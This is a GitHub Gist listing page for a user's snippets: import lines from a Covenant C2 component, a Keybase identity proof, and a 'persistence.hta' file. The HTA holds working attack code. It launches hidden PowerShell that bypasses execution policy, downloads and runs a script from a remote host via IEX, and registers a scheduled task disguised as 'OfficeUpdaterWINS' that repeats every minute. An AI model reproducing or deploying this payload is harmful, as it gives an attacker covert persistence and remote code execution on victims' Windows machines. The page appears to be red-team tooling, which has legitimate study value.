Skip to content

Instantly share code, notes, and snippets.

@Selora
Selora / GruntInteract.razor.cs
Created October 7, 2021 19:05
GruntInteract.razor.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Covenant.Core;
using Covenant.Models.Grunts;
using Covenant.Models.Covenant;
using Covenant.Components.GruntTaskings;
using Microsoft.AspNetCore.Components;
using Microsoft.JSInterop;

Keybase proof

I hereby claim:

  • I am selora on github.
  • I am selora (https://keybase.io/selora) on keybase.
  • I have a public key ASCluRA3naxNxPjyWiiXUdwIo84J_sBuIGOSaluOyTyL1go

To claim this, I am signing this object:

@Selora
Selora / persistence.hta
Last active April 21, 2017 00:08
HTA ftw!
<html>
<head>
<script>
psh_payload = "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://10.0.1.194:8000/eed1'''))'";
str = 'schtasks /create /sc MINUTE /tn OfficeUpdaterWINS /tr "' + psh_payload;
new ActiveXObject('WScript.Shell').Run(str);
</script>
</head>
<body>